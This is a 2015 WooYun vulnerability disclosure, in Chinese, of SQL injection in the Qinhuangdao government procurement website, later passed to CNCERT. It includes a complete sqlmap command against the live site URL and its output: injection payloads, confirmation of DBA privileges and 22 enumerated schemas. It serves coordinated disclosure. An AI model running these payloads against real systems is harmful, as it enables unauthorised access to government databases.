漏洞概要 关注数(24) 关注此漏洞
缺陷编号:wooyun-2015-0126248
漏洞标题:某市政府采购网SQL注入一枚(DBA权限)
相关厂商:cncert国家互联网应急中心
漏洞作者: elevensec11
提交时间:2015-07-17 19:20
修复时间:2015-09-06 00:00
公开时间:2015-09-06 00:00
漏洞类型:SQL注射漏洞
危害等级:中
自评Rank:10
漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签: 无
漏洞详情
披露状态:
2015-07-17: 细节已通知厂商并且等待厂商处理中
2015-07-21: 厂商已经确认,细节仅向厂商公开
2015-07-31: 细节向核心白帽子及相关领域专家公开
2015-08-10: 细节向普通白帽子公开
2015-08-20: 细节向实习白帽子公开
2015-09-06: 细节向公众公开
简要描述:
秦皇岛市政府采购网存在SQL注入,可导致信息泄露
详细说明:
参数id存在注入,DBA权限,涉及22个库
sqlmap跑的:
C:\Python27\sqlmap12>sqlmap.py -u "http://www.qhdzfcg.gov.cn/mylogon/product.do?
method=proinfo&id=S8dskU5C-qfxVXxBb-kcLQg5WI-zQzV9lCY&csid=568&price=18888" -p i
d --is-dba --current-db --dbs
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 13:09:31
[13:09:31] [INFO] resuming back-end DBMS 'oracle'
[13:09:31] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: method=proinfo&id=S8dskU5C-qfxVXxBb-kcLQg5WI-zQzV9lCY' AND 9199=919
9 AND 'CvPE'='CvPE&csid=568&price=18888
Type: UNION query
Title: Generic UNION query (NULL) - 30 columns
Payload: method=proinfo&id=-7626' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,
NULL,NULL,NULL,NULL,NULL,NULL,CHR(113)||CHR(115)||CHR(113)||CHR(104)||CHR(113)||
CHR(103)||CHR(76)||CHR(66)||CHR(66)||CHR(121)||CHR(116)||CHR(121)||CHR(72)||CHR(
113)||CHR(69)||CHR(113)||CHR(114)||CHR(122)||CHR(118)||CHR(113),NULL,NULL,NULL,N
ULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL FROM D
UAL-- &csid=568&price=18888
Type: AND/OR time-based blind
Title: Oracle AND time-based blind
Payload: method=proinfo&id=S8dskU5C-qfxVXxBb-kcLQg5WI-zQzV9lCY' AND 1738=DBM
S_PIPE.RECEIVE_MESSAGE(CHR(81)||CHR(89)||CHR(118)||CHR(76),5) AND 'QYGO'='QYGO&c
sid=568&price=18888
---
[13:09:31] [INFO] the back-end DBMS is Oracle
web application technology: Servlet 2.4, Tomcat 4.0.2, JSP
back-end DBMS: Oracle
[13:09:32] [INFO] fetching current database
[13:09:32] [WARNING] on Oracle you'll need to use schema names for enumeration a
s the counterpart to database names on other DBMSes
current schema (equivalent to database on Oracle): 'SYSTEM'
[13:09:32] [INFO] testing if current user is DBA
current user is DBA: True
[13:09:33] [WARNING] schema names are going to be used on Oracle for enumeration
as the counterpart to database names on other DBMSes
[13:09:33] [INFO] fetching database (schema) names
[13:09:34] [INFO] the SQL query used returns 22 entries
[13:09:34] [INFO] retrieved: "CTXSYS"
[13:09:35] [INFO] retrieved: "HR"
[13:09:36] [INFO] retrieved: "MDSYS"
[13:09:36] [INFO] retrieved: "ODM"
[13:09:37] [INFO] retrieved: "ODM_MTR"
[13:09:38] [INFO] retrieved: "OE"
[13:09:38] [INFO] retrieved: "OLAPSYS"
[13:09:39] [INFO] retrieved: "ORDSYS"
[13:09:39] [INFO] retrieved: "OUTLN"
[13:09:40] [INFO] retrieved: "PM"
[13:09:40] [INFO] retrieved: "QS"
[13:09:41] [INFO] retrieved: "QS_CBADM"
[13:09:42] [INFO] retrieved: "QS_CS"
[13:09:42] [INFO] retrieved: "QS_ES"
[13:09:43] [INFO] retrieved: "QS_OS"
[13:09:43] [INFO] retrieved: "QS_WS"
[13:09:44] [INFO] retrieved: "SH"
[13:09:45] [INFO] retrieved: "SYS"
[13:09:45] [INFO] retrieved: "SYSTEM"
[13:09:46] [INFO] retrieved: "WKSYS"
[13:09:46] [INFO] retrieved: "WMSYS"
[13:09:47] [INFO] retrieved: "XDB"
available databases [22]:
[*] CTXSYS
[*] HR
[*] MDSYS
[*] ODM
[*] ODM_MTR
[*] OE
[*] OLAPSYS
[*] ORDSYS
[*] OUTLN
[*] PM
[*] QS
[*] QS_CBADM
[*] QS_CS
[*] QS_ES
[*] QS_OS
[*] QS_WS
[*] SH
[*] SYS
[*] SYSTEM
[*] WKSYS
[*] WMSYS
[*] XDB
漏洞证明:
如上。
修复方案:
过滤。
版权声明:转载请注明来源 elevensec11@乌云
漏洞回应
厂商回应:
危害等级:中
漏洞Rank:10
确认时间:2015-07-21 14:13
厂商回复:
CNVD确认并复现所述漏洞情况,已经转由CNCERT下发给河北分中心,由河北分中心后续协调网站管理单位处置。
最新状态:
暂无